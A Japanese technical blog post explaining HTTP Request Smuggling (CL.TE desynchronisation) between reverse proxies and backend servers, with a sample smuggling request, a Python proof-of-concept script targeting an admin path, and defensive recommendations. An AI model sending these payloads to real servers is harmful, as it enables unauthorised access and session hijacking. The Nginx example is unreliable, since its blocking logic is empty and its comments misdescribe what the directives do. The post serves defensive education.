HTTP Request Smuggling：なぜ「リクエストの境界」が信頼を裏切るのか
ネットワークエンジニアとして現場に立っていると、プロトコル仕様の「わずかな隙間」が、いかに巨大なセキュリティホールに化けるかを痛感する瞬間がある。HTTP Request Smuggling（HRS）は、まさにその最たる例だ。
RFC 7230という聖典がありながら、なぜ現代のWebインフラでこの脆弱性が猛威を振るうのか。今日は、フロントエンド（リバースプロキシ）とバックエンド（アプリケーションサーバ）の「解釈のズレ」が引き起こす、この静かなる脅威の正体に迫ろう。
—
1. そもそも「境界」はどこにあるのか？
HTTP/1.1の時代、クライアントから送られたパケットは、多くの場合、ロードバランサーやリバースプロキシ（フロントエンド）を介して、背後のアプリケーションサーバ（バックエンド）へと運ばれる。
ここで問題になるのが、「どこまでが1つのリクエストか」という境界の決定だ。HTTP/1.1には、リクエストの長さを指定する手法が2つ存在する。
- Content-Length (CL): ボディのバイト数を明示的に指定する。
- Transfer-Encoding: chunked (TE): データをチャンク（塊）に分割して送信する。
攻撃者は、フロントエンドとバックエンドでこれら2つのヘッダーに対する「優先順位の解釈」が異なることを突く。
2. なぜ「解釈の不一致」が起きるのか
脆弱性のメカニズムを簡潔に言えば、「フロントエンドはCLを信じ、バックエンドはTEを信じる（あるいはその逆）」という状況を作ることだ。
シナリオ：CL.TE攻撃のフロー
1. 攻撃者が細工したリクエストをフロントエンドに投げる。
2. フロントエンドは `Content-Length` を見て、リクエスト全体をバックエンドへ転送する。
3. バックエンドは `Transfer-Encoding: chunked` を優先し、チャンクが終わったと見なすポイントまでを1つのリクエストとして処理する。
4. 「バックエンドが処理しなかった残りのデータ」が、バックエンド側のソケットに「次のリクエストの一部」として残留する。
5. 次にやってくる正当なユーザーのリクエストが、その残留データと連結され、意図しないリクエストとして処理されてしまう。
これが、他人のセッションを乗っ取ったり、管理者権限を奪取したりする「密輸（Smuggling）」の正体だ。
—
3. 実践：攻撃パターンのシミュレーション
理論だけでは現場は守れない。実際にどのようなリクエストが危険なのか、Pythonの`requests`や`curl`で投げるべきペイロードを例に見てみよう。
攻撃用リクエストのサンプル（概念図）
POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 139
Transfer-Encoding: chunked
0
SMUGGLED-REQUEST: /admin/delete-user?id=123
- `0` はチャンクの終了を意味する。
- バックエンドが `TE` を優先する場合、`0` でリクエストを終了したと認識する。
- 残りの `SMUGGLED-REQUEST…` は、バッファに残ったまま、次の通信を待つことになる。
Pythonによる再現テスト（検証用コード）
インフラの脆弱性をチェックする際は、まずは手元の環境でリクエストがどのように転送されるかをデバッグしよう。
import requests
フロントエンドとバックエンドの解釈の差異を突くための細工
本番環境で「許可なく」実行してはいけない（重大なインシデントになります）
url = “http://target-proxy-server.com/”
headers = {
“Host”: “target-proxy-server.com”,
“Content-Type”: “application/x-www-form-urlencoded”,
“Content-Length”: “130”,
“Transfer-Encoding”: “chunked”
}
チャンク形式のボディを構築
payload = (
“0\r\n”
“\r\n”
“GET /admin/secret HTTP/1.1\r\n”
“Host: target-proxy-server.com\r\n”
“\r\n”
)
脆弱性がある場合、この後に続くリクエストがこの汚染された状態に巻き込まれる
response = requests.post(url, headers=headers, data=payload)
print(f”Status Code: {response.status_code}”)
—
4. インフラエンジニアが取るべき防衛策
この脆弱性は、コードの修正だけで完結するものではない。インフラレベルでの「境界の規律」が重要だ。
1. フロントエンドとバックエンドの統一:
可能な限り、フロントエンドとバックエンドで同じプロキシソフトウェア（または同じ設定ポリシー）を利用する。
2. HTTP/2への完全移行:
HTTP/2以降はバイナリプロトコルであり、リクエスト長はフレームで厳密に管理される。CLやTEの不一致に依存しないため、HRSのリスクを根本から排除できる。
3. 不審なヘッダーの拒否:
Webアプリケーションファイアウォール（WAF）やリバースプロキシの設定で、CLとTEが同時に存在するリクエストを即座にブロック（400 Bad Request）するように設定する。
Nginxでの設定例
不要なヘッダーや矛盾するリクエストを弾くための設定例
server {
# 複数のContent-Lengthヘッダーを許可しない
underscores_in_headers off;
# 厳格なチェックを有効にする
# もしリクエストに両方のヘッダーが含まれていたら拒否する
location / {
if ($http_transfer_encoding ~ “chunked”) {
# TEが含まれる場合、CLを無視するなどの厳密なロジックを実装
}
}
}
—
最後に：ネットワークを「信頼」するな
HTTP Request Smugglingは、システム間の「信頼関係の隙間」を突く攻撃だ。フロントエンドが「バックエンドなら適切に解釈してくれるだろう」、バックエンドが「フロントエンドが検証済みだろう」と互いを過信した結果、この脆弱性は生まれる。
実務においては、「通信経路上のすべてのノードが同じ仕様解釈を持っているとは限らない」という前提で、境界線を厳格に定義し続けること。それが、我々インフラエンジニアに求められる最も重要な防衛術だ。
パケットが通る場所すべてに、監視と検証の目を光らせておこう。現場からは以上だ。
コメント